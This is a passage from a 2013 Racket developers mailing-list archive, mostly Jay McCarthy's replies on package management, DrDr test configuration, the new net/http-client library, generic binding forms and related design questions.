earlier in the day.) So, I'm not sure what the problem was.

Jay


 --
   ((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
 http://barzilay.org/   Maze is Life!



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Installing subsets of Racket

2013-09-16 Thread Jay McCarthy
Hi Laurent,

I think that the solution to this are binary builds versions of
a package that only have the bytecode and documentation.

We're a bit behind on binary builds, because when they were discussed
for the main repository [1] they were rejected. I hope to be able to
still provide them for ring-0 packages through the results of DrDr
running tests (and thus compiling) on those packages, but it's in the
future.

The result would be that when you installed a package in binary
form, you would only get the deps and not the build-deps. (And
you'd probably get those in binary form too.)

Jay

1. http://www.mail-archive.com/dev@racket-lang.org/msg08879.html

On Mon, Sep 16, 2013 at 2:32 AM, Laurent laurent.ors...@gmail.com wrote:
 Hi,

 (this is not a complain, just an inquiry)

 While installing Racket on a small server, I wanted to avoid installing gui
 and doc related libraries.
 The minimal install was great!

 Then I wanted to install a package of my own (the aptly named bazaar),
 which requires images and other gui libs (which I actually would not use
 on the server), among other things, but no doc

 But the images package draws racket-doc and gui-doc dependencies, which in
 turn draws practically all of Racket. And it then takes a much longer time
 for `raco setup` to do its job that I had hoped for.

 Certainly, this can be resolved by splitting images and bazaar into lib,
 gui and docs packages, but I foresee another problem:
 It's difficult to enforce such a split for third-party libraries, as it puts
 the burden on the user.
 And the first package like that to be installed will again draw all of
 Racket dependencies.

 This is probably not a trivial matter, but what can be done about this?

 My dream would be that gui and doc dependencies are never triggered, without
 preventing the packages I actually use to be downloaded, but I don't know
 how this could actually be ensured without a good amount of magic.

 Merely preventing downloads does not sound like a good option though.

 I bet you've already discussed this far and wide, so are there any plans?

 Laurent

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] tests not being run?

2013-09-06 Thread Jay McCarthy
All correct


On Fri, Sep 6, 2013 at 12:34 PM, David Vanderson
david.vander...@gmail.comwrote:

  Ah - thank you!  I think I finally understand how this works.  To make
 sure, I query the props like this:

 ~/apps/racket$ ./pkgs/plt-services/meta/props get drdr:command-line
 pkgs/racket-pkgs/racket-test/tests/run-automated-tests.rkt
 mzc -k ~s

 This tells DrDr to make sure the file compiles without error, but don't
 run.

 ~/apps/racket$ ./pkgs/plt-services/meta/props get drdr:command-line
 pkgs/racket-pkgs/racket-test/tests/file/main.rkt


 This is empty, telling DrDr to not do anything with this file - no
 compilation, no running, no reporting.

 ~/apps/racket$ ./pkgs/plt-services/meta/props get drdr:command-line
 pkgs/racket-pkgs/racket-test/tests/file/sha1.rkt
 props: no `drdr:command-line' property for
 pkgs/racket-pkgs/racket-test/tests/file/sha1.rkt

 This tells DrDr to do the default action, which is raco test ~s.


 Is this correct?

 Thanks,
 Dave



 On 09/05/2013 08:40 AM, Jay McCarthy wrote:

  On Wed, Sep 4, 2013 at 1:55 PM, David Vanderson 
 david.vander...@gmail.com wrote:

  I totally missed pkgs/racket-pkgs/racket-test/tests/run-automated-tests.rkt,
 but it looks like DrDr is running that with 'mzc -k _' - doesn't that just
 compile it?


  Yes, the intention there is to run the tests individually but test that
 the all runner works



 There is also a file/main.rkt that runs all the file/ tests, but that
 file doesn't show up in DrDr.


  That means that it is disabled, probably because it was intended to just
 run each file separately



 I'm more confused now.  Does DrDr automatically run a main.rkt file if
 it's present?


  Whether DrDr runs a file is different on a file-by-file basis via the
 props database. For this file...




 Thanks,
 Dave

   On 09/04/2013 01:58 PM, Robby Findler wrote:

 I think it makes more sense to change those 'main' modules into 'test'
 modules, but I'm not positive.

  Robby


  On Wed, Sep 4, 2013 at 12:26 PM, David Vanderson 
 david.vander...@gmail.com wrote:

 It looks to me like most of the tests in
 racket/pkgs/racket-pkgs/racket-test/tests/file/* are not being run by DrDr.
  I think DrDr is running them with 'raco test _' while the files mostly
 need to be run as 'racket _'.

 Am I missing something?  If not, should I fix the files to be run with
 'raco test _'?

 Thanks,
 Dave
 _
  Racket Developers list:
  http://lists.racket-lang.org/dev




 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




  --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93





-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] tests not being run?

2013-09-05 Thread Jay McCarthy
On Wed, Sep 4, 2013 at 1:55 PM, David Vanderson
david.vander...@gmail.comwrote:

  I totally missed pkgs/racket-pkgs/racket-test/tests/run-automated-tests.rkt,
 but it looks like DrDr is running that with 'mzc -k _' - doesn't that just
 compile it?


Yes, the intention there is to run the tests individually but test that the
all runner works



 There is also a file/main.rkt that runs all the file/ tests, but that file
 doesn't show up in DrDr.


That means that it is disabled, probably because it was intended to just
run each file separately



 I'm more confused now.  Does DrDr automatically run a main.rkt file if
 it's present?


Whether DrDr runs a file is different on a file-by-file basis via the props
database. For this file...




 Thanks,
 Dave

  On 09/04/2013 01:58 PM, Robby Findler wrote:

 I think it makes more sense to change those 'main' modules into 'test'
 modules, but I'm not positive.

  Robby


  On Wed, Sep 4, 2013 at 12:26 PM, David Vanderson 
 david.vander...@gmail.com wrote:

 It looks to me like most of the tests in
 racket/pkgs/racket-pkgs/racket-test/tests/file/* are not being run by DrDr.
  I think DrDr is running them with 'raco test _' while the files mostly
 need to be run as 'racket _'.

 Am I missing something?  If not, should I fix the files to be run with
 'raco test _'?

 Thanks,
 Dave
 _
  Racket Developers list:
  http://lists.racket-lang.org/dev




 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] net/http-client

2013-09-04 Thread Jay McCarthy
On Wed, Aug 28, 2013 at 3:30 PM, Greg Hendershott greghendersh...@gmail.com
 wrote:

 This looks great!!

 A couple suggestions:

 1. Support for Expect: 100-continue request headers would be
 helpful, and I think not too messy to add.

 The big use case I'm aware of is Amazon S3. If you make a PUT or POST
 request, it might need to redirect you to another URI (outage,
 balancing, whatever reason). Expecting and handling 100-continue lets
 you avoid transmitting potentially large amount of data that would be
 discarded, and you have to send it all over again in the request to
 the redirect URI. For (say) a 1 GB upload to S3, this matters.
 Although I don't know for sure if other upload-ish web APIs offer
 same, I'd guess some do as this is the use case for 100-continue
 generally.

 How I implemented this in my HTTP package was to have a
 `start-request` function that sends the request line and headers,
 peeks the response status line, then returns a `boolean?` whether the
 PUT/POST/PATCH/whatever data should be transmitted. [1]

 I think your `http-conn-send!` could do similar?


Do you think it is appropriate to expect the http-client user to put in the
Expect: 100-continue or better to always send it if there is a data
component?


 2. Support for Content-Encoding response headers would also be helpful.

 Using the same make-pipe approach as you're doing with chunked
 transfer encoding. [2]  Maybe this is mission creep: For HTTP 1.1. you
 _must_ support Transfer-Encoding: chunked, whereas Content-Encoding is
 just optional. However it's a good option; using compression can
 really help out on time as well as bandwidth charges.


I just pushed support for this.


 IIRC those were the two main things that motivated me to make my HTTP
 package at all, to support e.g. my AWS package. If http-client added
 them, I might not need my package anymore. (OK, it might take me
 awhile to phase it out until I'm ready to de-support older versions of
 Racket, but, I and others wouldn't need it for new projects.)


 [1]:
 https://github.com/greghendershott/http/blob/master/http/request.rkt#L142-L189

 [2]: By the way, do you want to pass some `limit` optional arg in the
 various uses of `make-pipe`? Otherwise IIUC this will suck everything
 into RAM, which might not be so great with very large request or
 response entities.


Matthew changed this a few days ago.

Jay




 On Fri, Aug 23, 2013 at 2:48 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:
  Based on a request back in early July to remove the restrictions that
  net/url puts on HTTP communication (vis a vis URL encoding), I have
  just pushed a new HTTP client as net/http-client.
 
  The push also changes net/url to use net/http-client so that we just
  have 1 HTTP request producer, rather than 3.
 
  It passes all of the net/* tests, but these don't use features like
  proxying, HTTP/1.1, etc. I'm slightly nervous that it doesn't do those
  correct, but not super nervous, because I just cut-and-pasted the
  code.
 
  The main approach of the library is best explained by this contract:
 
  [http-sendrecv
 (-* ((or/c bytes? string?) (or/c bytes? string?))
  (#:ssl? (or/c boolean? ssl-client-context? symbol?)
  #:port (between/c 1 65535)
  #:method (or/c bytes? string? symbol?)
  #:headers (listof (or/c bytes? string?))
  #:data (or/c false/c bytes? string?))
  (values bytes? (listof bytes?) input-port?))]
 
  Compared to net/url,
  - It supports bytes and strings everywhere
  - It supports data on every method and not just POST
  - It always returns the status line, headers, and content (as a port)
 
  I feel that the only thing it could do better is support two more
  options for #:data:
  - A input-port? to read from and copy to the HTTP connection
  - A (- output-port? void) function to call with the HTTP connection's
  output port to stream the data
 
  But I'd like a second opinion before adding them.
 
  Jay
 
  --
  Jay McCarthy j...@cs.byu.edu
  Assistant Professor / Brigham Young University
  http://faculty.cs.byu.edu/~jay
 
  The glory of God is Intelligence - DC 93
  _
Racket Developers list:
http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] John Carmack talks about functional programming

2013-08-28 Thread Jay McCarthy
He mentions Racket and the DrRacket OS paper (by name!)

http://www.youtube.com/watch?v=1PhArSujR_A [about 9 minutes in is the
Racket mention]

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [racket] Functional Updates for Structs

2013-08-27 Thread Jay McCarthy
 pleasant to use by avoiding mentioning anything 
 about type or field names, just accessors and updaters. So I have no trouble 
 extracting the needed data, but I there aren't any nice functional updaters 
 generated. I could write something like

 (create-trans output-type
(wire source through pipe into field-name) ...)

 which isn't too bad, but it's a bit asymmetric: source can be some 
 arbitrarily complex function but field-name is very limited. Probably I 
 should just suck it up and accept a bit of ugliness.


 
   Racket Users list:
   http://lists.racket-lang.org/users



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] generic binding forms

2013-08-26 Thread Jay McCarthy
On Sun, Aug 25, 2013 at 10:54 PM, Stephen Chang stch...@ccs.neu.edu wrote:
 Hi dev,

 I've noticed that Racket has a lot of convenient binding forms but
 they don't fit together unless someone does it manually (for example
 there's match-let and match-let-values, but no match-for).

 As an educational side project, I've been toying around with a
 different way of organizing all the binding forms. What I wanted to do
 is remove the need to manually combine current (and future) binding
 forms by moving the binding logic to the binding site itself.

 Inspired by the in-vogue generics movement in the Racket world, I've
 hacked together a sort of generic interface for bindings (in
 reality, it's just a bunch of syntax properties right now), and
 implemented alternate versions of some of the main binding forms that
 support instances of these generic bindings.

 To illustrate, here are some test cases for a generic define I
 implemented (~define). I also implemented binding instances for
 match and values (which I arbitrarily named $ and ~v below) and I can
 use these forms in (mostly) any binding position that supports generic
 bindings.

 ;; functions
 (~define (f1 x y) (+ x y))
 (f1 10 20)
 30
 (~define (f2 ($ (list x y))) (+ x y))
 (f2 (list 10 20))
 30

 ;; non-functions
 (~define a1 100)
 a1
 100
 (~define (~v a2 a3) (values 134 456))
 a2
 134
 a3
 456

 You can nest bind instances too:

 (~define (~v ($ (list b1 b2)) b3) (values (list 22 33) 44))
 b1
 22
 b2
 33
 b3
 44

 Does anyone think this is useful? Or is it just a lot of work to save
 a little bit of typing? Has anyone tried something like this before?

 It's still very much a work in progress but I figure I would ask for
 some feedback earlier rather than too later, in case there is
 something that makes this infeasible.

 Brave souls can look at the hackery here:
 https://github.com/stchang/generic-bind/blob/master/generic-bind.rkt
 (Warning: I'm still trying to figure out all the toys in the Racket
 macro toolbox. For the most part, everything still looks like a
 syntax-rule/case/parse/-datum nail to my hammer.)

 Technical question: I couldn't figure out a nice way to implement
 ~let. Essentially, I want a let form where some clauses are let-values
 and some are match-let, but I need to bind them all at the same time,
 like let.

I'd introduce new names to bind them in sequence and then rename
everything after it's all available. My letwreck does something
similar:

http://jeapostrophe.github.io/2013-08-05-letwreck-post.html#%28elem._%28chunk._~3cletwreck-defn~3e~3a1%29%29

 I can't define a ~lambda that works with values because
 functions in racket can't receive values. Anyone have any ideas?

 Side observation: Trying to get things to work with multiple return
 values was a pain because they don't compose (as in, functions can
 produce them but can't receive them). Not sure if anything can be done
 about this though.
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] net/http-client

2013-08-26 Thread Jay McCarthy
On Mon, Aug 26, 2013 at 6:46 AM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:

 On Fri, Aug 23, 2013 at 2:48 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 I feel that the only thing it could do better is support two more
 options for #:data:
 - A input-port? to read from and copy to the HTTP connection
 - A (- output-port? void) function to call with the HTTP connection's
 output port to stream the data

 But I'd like a second opinion before adding them.

 Those both sound great, but why force the second one return `void?` For
 example, I might want to stream the data directly into a JSON parser.

The function would be given to the client so it can write the data to
the server. For example:

(... #:data #Here's the post data)

would be the same as

(... #:data (\ (op) (display #Here's the post data op)))

It's the HTTP connection's OUTPUT (to the server) port, not its INPUT
(from the server) port.

The return happens internally to the http-client and it doesn't have
any reason to use any value produced.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] net/http-client

2013-08-23 Thread Jay McCarthy
Based on a request back in early July to remove the restrictions that
net/url puts on HTTP communication (vis a vis URL encoding), I have
just pushed a new HTTP client as net/http-client.

The push also changes net/url to use net/http-client so that we just
have 1 HTTP request producer, rather than 3.

It passes all of the net/* tests, but these don't use features like
proxying, HTTP/1.1, etc. I'm slightly nervous that it doesn't do those
correct, but not super nervous, because I just cut-and-pasted the
code.

The main approach of the library is best explained by this contract:

[http-sendrecv
   (-* ((or/c bytes? string?) (or/c bytes? string?))
(#:ssl? (or/c boolean? ssl-client-context? symbol?)
#:port (between/c 1 65535)
#:method (or/c bytes? string? symbol?)
#:headers (listof (or/c bytes? string?))
#:data (or/c false/c bytes? string?))
(values bytes? (listof bytes?) input-port?))]

Compared to net/url,
- It supports bytes and strings everywhere
- It supports data on every method and not just POST
- It always returns the status line, headers, and content (as a port)

I feel that the only thing it could do better is support two more
options for #:data:
- A input-port? to read from and copy to the HTTP connection
- A (- output-port? void) function to call with the HTTP connection's
output port to stream the data

But I'd like a second opinion before adding them.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Lists aren't sets, but have set-like operations

2013-08-22 Thread Jay McCarthy
-lang.org 
   Sent: Wednesday, August 21, 2013 6:58:56 PM GMT -05:00 US/Canada
   Eastern
   Subject: Re: [racket-dev] Lists aren't sets, but have set-like
   operations
  
  
   Ian, sets are now a generic datatype, like dictionaries. Association
   lists
   are dictionaries, and lists are now sets. They're also streams and
   sequences. They're not just set-like.
  
  
  
   Carl Eastlund
  
  
   On Wed, Aug 21, 2013 at 6:56 PM, J. Ian Johnson  i...@ccs.neu.edu 
   wrote:
  
  
   I just wasted about 2 hours tracking down a bug that ended up being
   due to
   (set? '()) now evaluating to #t. I have no problems with set-union,
   intersection, etc. being defined for lists, but to treat lists as
   sets
   always is perverse to me. The contracts for set operations should use
   set-like? for (or/c set? list?) and keep the two constructions
   separate.
  
   This conflation is almost as bad as treating empty list as false.
  
   -Ian
   _
   Racket Developers list:
   http://lists.racket-lang.org/dev
  
  
  
  
  _
  Racket Developers list:
  http://lists.racket-lang.org/dev
  _
  Racket Developers list:
  http://lists.racket-lang.org/dev



 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] main-repo packages on pkg.racket-lang.org

2013-08-17 Thread Jay McCarthy
On Sat, Aug 17, 2013 at 12:07 PM, Greg Hendershott
greghendersh...@gmail.com wrote:
 Very cool.

 It seems to me this motivates some changes to the
 https://pkg.racket-lang.org/ UX:

 1. The tag main-distribution ought to be privileged/restricted. As a
 3rd party dev I shouldn't be allowed to assign that tag to one of my
 packages and trick people into installing it along with the others.

Such a trick wouldn't work because you can't install everything with a
tag and a dishonest tag like that can be trivially removed. (FWIW,
tags are not added by developers. Anyone can add any tag.)

 2. If I want to browse for interesting third-party packages, now I
 will want the ability to search for `NOT tag`. For example to see
 all packages _except_ those tagged main-distribution. (Of course
 that starts down the slippery slope of also wanting AND and OR
 operators and parentheses. /me ducks.)

This is planned.

Jay



 On Fri, Aug 16, 2013 at 6:47 PM, Matthew Flatt mfl...@cs.utah.edu wrote:
 All of the packages in the main repository are now listed on
 pkg.racket-lang.org. They have tags like main-distribution (for
 packages that are in the main distribution) and main-tests (for tests
 that are not in the distribution, but are for main-distribution code).


 If you try to install any of the packages in v5.3.6 or earlier, you get
 an empty package. The intent is that other packages can now declare
 proper dependencies for v5.90.x, and the dependency declaration won't
 break the package for v5.3.6 users.


 Meanwhile, with v5.90.x, you could build with just `make base' and then
 install more with, say,

  raco pkg install -i main-distribution

 For now, there's no advantage to doing that compared to just using
 `make PKGS=...'; you get everything with a git checkout, anyway. In the
 future, that might be closer to the way things work, and now we can
 experiment with that mode.


 The source for each package is an S3-hosted .zip file. Those sources
 are put in place by a periodic task that pulls from github, creates
 individual zip files, uploads to S3, and updates pkg.racket-lang.org.
 Currently, the job runs on a machine every 15 minutes (on the hour, 15
 minutes after, etc.). We'll see how that works out, and probably we'll
 make it more reliable by having multiple machines check for updates ---
 including one triggered by notifications from Github. In any case,
 copying from the git repo to .zip files is expected to be a stop-gap
 until we're ready to split the main repository (which is some time
 away, I think).

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Updating dependency packages from other sources

2013-08-16 Thread Jay McCarthy
I think that's a better idea Matthew.

On Fri, Aug 16, 2013 at 2:27 PM, Matthew Flatt mfl...@cs.utah.edu wrote:
 At Thu, 15 Aug 2013 11:07:07 -0400, Asumu Takikawa wrote:
 On 2013-08-15 08:19:06 -0600, Jay McCarthy wrote:
  As for what we could do going forward, I think either of these
  approaches could be 'automated'.

 Yes, that'd be great.

  For instance, we could add a command like
 
  $ raco pkg replace x11 new-x11-source
 
  This would behave like either of those (which would be invisible to the 
  user).
 
  Do you have any opinions about how you'd want to do this replacement?

 Maybe `raco pkg install` can have an additional flag that lets you
 replace existing packages? Or maybe it should allow conflicts if the
 package has the same name as an already installed package (possibly
 prompting/warning the user)?

 How about allowing a package source as an argument to `raco pkg update`?

 After all, removing an old package implementation and installing a new
 one is already the job of `raco pkg update`, not `raco pkg install`.

 Then again, dealing with package sources and recording a new
 name-source mapping is already the job of `raco pkg install`, not
 `raco pkg update`.

 I lean toward changing `raco pkg update`, because I think it's
 reasonable to treat a package source other than a package name as a
 replace request by default. In contrast, I don't think `raco pkg
 install` should ever overwrite an existing package implementation by
 default.

 For example, I can imagine

  raco pkg install stuff.zip
  ... get a new stuff.zip ...
  raco pkg update stuff.zip

 and that seems better to me than

  raco pkg install stuff.zip
  ... get a new stuff.zip ...
  raco pkg install --replace stuff.zip

 I have in mind that `raco pkg update` would treat as package name as it
 does now, instead of like other package sources. That is, it would
 update based on how the package was previously installed. There's a
 difference only if the package was installed from a package source
 other than a package name, though.

 Naturally, the special treatment of package names would necessitate a
 new flag for consistent treatment of package sources. Specifically, if
 you wanted to replace an existing package installation with a catalog
 reference, then you'd have to use a flag to `raco pkg update'.




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Updating dependency packages from other sources

2013-08-15 Thread Jay McCarthy
I don't think there's any good way to do this now. Here are ways that will work:

1) Ignore the dependency during removal

$ raco pkg remove --force x11
$ raco pkg install new-x11-source

2) Manually change the source in yours package database and then update

$ emacs $PLTHOME/racket/share/pkgs/pkgs.rktd
$ raco pkg update x11

As for what we could do going forward, I think either of these
approaches could be 'automated'. For instance, we could add a command
like

$ raco pkg replace x11 new-x11-source

This would behave like either of those (which would be invisible to the user).

Do you have any opinions about how you'd want to do this replacement?

Jay




On Tue, Aug 13, 2013 at 9:48 PM, Asumu Takikawa as...@ccs.neu.edu wrote:
 Hi all,

 I have a question about updating packages. I'll use an example
 development scenario to frame the question.

 Suppose I have package `aosd` installed that depends on `x11`:

   Installation-wide:
Package  ChecksumSource
x11  0fc7555f6bc8f09601a75f9d88f44bfa3c4ff632(catalog 
 x11)
aosd 7ab51262a256a324b062d7b407cb5341d1f41f69(catalog 
 aosd)

 Now suppose I want to work on the `x11` package since I need to upgrade
 it for some aspect of the `aosd` package. Right now it's installed from
 the package server, but I want to switch it to a linked package from the
 filesystem for development.

 If I try to remove just the `x11` package so I can replace it, I get
 this error:

   $ raco pkg remove x11
   raco pkg remove: cannot remove packages that are dependencies of other
   packages
 dependencies:
x11 (required by: (aosd))

 which is reasonable. But I have to remove the package before I can
 install it from a different source. The `raco pkg update` command looks
 like it might help, but it doesn't let you update from a different
 source AFAICT. The `raco pkg install` command won't work because it'd be
 a conflicting package.

 What are the right steps to install over dependency packages? I don't
 think manually uninstalling and re-installing is a good solution.  If n
 other packages depended on `x11` too, it seems like I'd have to
 re-install all n of them.

 Cheers,
 Asumu
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] package name restrictions - why?

2013-07-31 Thread Jay McCarthy
The restriction is primarily because they appear in URLs as single
path segments.

Jay

On Wed, Jul 31, 2013 at 11:50 AM, Tony Garnock-Jones to...@ccs.neu.edu wrote:
 Hi all,

 Package names are restricted as follows, per the documentation:

 a package name — a string made of the characters a through z, A through Z,
 0 through 9, _, and -.

 Why does this restriction exist? Programmers never see package names when
 using (require); Operators see package names only when they use raco pkg;
 otherwise they're just strings, surely?

 Cheers,
   Tony

 _
  Racket Developers list:
  http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] package scopes

2013-07-25 Thread Jay McCarthy
I'm fine with it.

Jay

On Thu, Jul 25, 2013 at 11:59 AM, Matthew Flatt mfl...@cs.utah.edu wrote:
 We currently have three packages scopes:

  * 'installation --- specific to an installation of Racket, where
 package files are written into the installation (for all users of
 the installation)

  * 'user --- specific to a user and version, where packages files are
 written to a user-specific location

  * 'shared --- specific to a user, but not to a version of Racket

 I think we should change to two:

  * 'installation --- like now

  * 'user --- specific to a user and installation, but where
 installations are identified by a configurable name (as opposed to,
 say, the installation's path)

 That is, every installation has a name. For a release, the name
 defaults to the release version. For a snapshot, the name defaults to
 snapshot --- which means that when you throw away your snapshot and
 install a new one, then you keep your package installations.
 (Distributors of releases and snapshots can adjust the default,
 obviously.) For a repository checkout, the name defaults to checkout
 --- which means that you keep your package installations when you `git
 pull' and the version changes.

 An installation name would be stored in the same configuration file
 that is used for package catalogs. A user who wants multiple snapshot
 installations, git-repo checkouts with different package sets, or
 multiple installations of Racket v6.0 can adjust one installation's
 name in its configuration. Similarly, a user who really wants to share
 packages between Racket v6.0 and v6.1 can give the installations the
 same name.

 I think this change would make the 'user installation scope the right
 default for pretty much everyone, instead of trying to make the default
 'user under some circumstances and 'installation in others. I think it
 also covers the goal of 'shared better than 'shared does.

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pre-Release Checklist for v5.3.6

2013-07-23 Thread Jay McCarthy
On Mon, Jul 22, 2013 at 1:13 PM, Ryan Culpepper ry...@ccs.neu.edu 
* Jay McCarthy jay.mccar...@gmail.com
   - Web Server Tests
   - XML Tests
   - HTML Tests
   - PLAI Tests
   - Racklog tests
   - Datalog tests

All done

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] package-system update

2013-07-14 Thread Jay McCarthy
See below

Sent from my iPhone

On Jul 14, 2013, at 8:03 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu wrote:

 First, thanks for the very informative update.

 On Sat, Jul 13, 2013 at 2:56 PM, Matthew Flatt mfl...@cs.utah.edu wrote:
 [Guess:] The Racket and Minimal Racket distributions might point
 to different pre-built package catalogs. Possibly, the Racket
 catalog never updates packages that were included in the installer (on
 the grounds that the user may not have write permission to the
 install), while the Minimal Racket catalog includes more frequent
 updates for bug fixes (on the grounds that the user can update any
 installed package).

 I'm not 100% sure what you mean about different pre-built package
 catalogs but I definitely feel that we should just have one site like
 `pkg.racket-lang.org` where people go to see what packages they might
 install in their Racket installation.  This comes back to the point
 you make below about how technology, here the package server, can keep
 a distributed community together.

The ability to easily replace the server will be useful for people
building frozen services where a piece of software wants to ensure
that no updates could happen.



 ** Using the bleeding edge as a PLT developer

 As a convenience to PLT developers, who tend to work on a particular
 set of packages, there is an alternate way of working on the bleeding
 edge (which anyone can use, if they prefer).

 [Guess #1:] Instead of cloning the core Racket repo, clone a main
 distribution repo that has the core Racket repo as a submodule, plus
 git submodules for each of the packages that are dependencies of
 main-distribution. In other words, you get something that looks like
 the current Racket repo, but that uses git submodules.

 [Guess #2:] Instead of cloning the core Racket repo from GitHub, you
 clone from the main distribution repository, just like now. In
 addition to being mirrored to GitHub directly, individual parts of the
 main distribution repo are mirrored as GitHub repositories, and
 the mirrors are the ones that pkg.racket-lang.org references.

 Guess #2 seems to have a lot more complicated working parts, and it
 seems like it would prevent us from actually using github for the all
 the repositories -- ie, that we'd have to keep running our own git
 server.

 Finally, can you say anything about whether you anticipate the release
 process changing?  Would it be possible to decouple the core Racket
 releases from, say, the Typed Racket releases, with a release of the
 whole system bundling specific versions of everything?

 Sam
 _
  Racket Developers list:
  http://lists.racket-lang.org/dev
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Why did DrDr get much slower?

2013-07-13 Thread Jay McCarthy
FWIW, as far as I know, nothing has changed on the DrDr machine. It's
not a VM and it doesn't run any other services, so there's nothing
taking cycles from Racket.

On Sat, Jul 13, 2013 at 8:55 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu wrote:
 On Sat, Jul 13, 2013 at 10:44 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu 
 wrote:

 This slowdown seems to be real on my machine as well --
 realm/chapter2/source.rkt runs more than twice as slow in rev bd09a60e
 as it does in v5.3.5. I'm testing the revision right before
 `filesystem-change-evt` now.

 The slowdown is indeed at the revision where `filesystem-change-evt`
 was introduced, at least on my Linux x64 machine.

 Sam
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Package compatibility

2013-07-08 Thread Jay McCarthy
The problem with that is that there is no way to ensure that there is
only one package named data/red-black-tree and there can be two
mutually incompatible universes of packages for Carl's rbts and mine,
for instance. Furthermore, it has the internal linking problem.

On Mon, Jul 8, 2013 at 7:11 AM, Eli Barzilay e...@barzilay.org wrote:
 Yesterday, Jay McCarthy wrote:
 Planet attempts to solve this problem technically by (a) having all
 collections be prefixed by author/package-name and (b) mandating
 a centralized server that enforces unique authors and unique
 package-names per author. Since Racket packages don't have a
 mandated central server we can't enforce uniqueness like that. (i.e.
 even if we mandated the prefix by package-name, there's no way to
 enforce unique package names across the universe without a central
 server.) Furthermore, bringing package-names in to the code would
 give us /internal linking/ which Racket packages are designed to
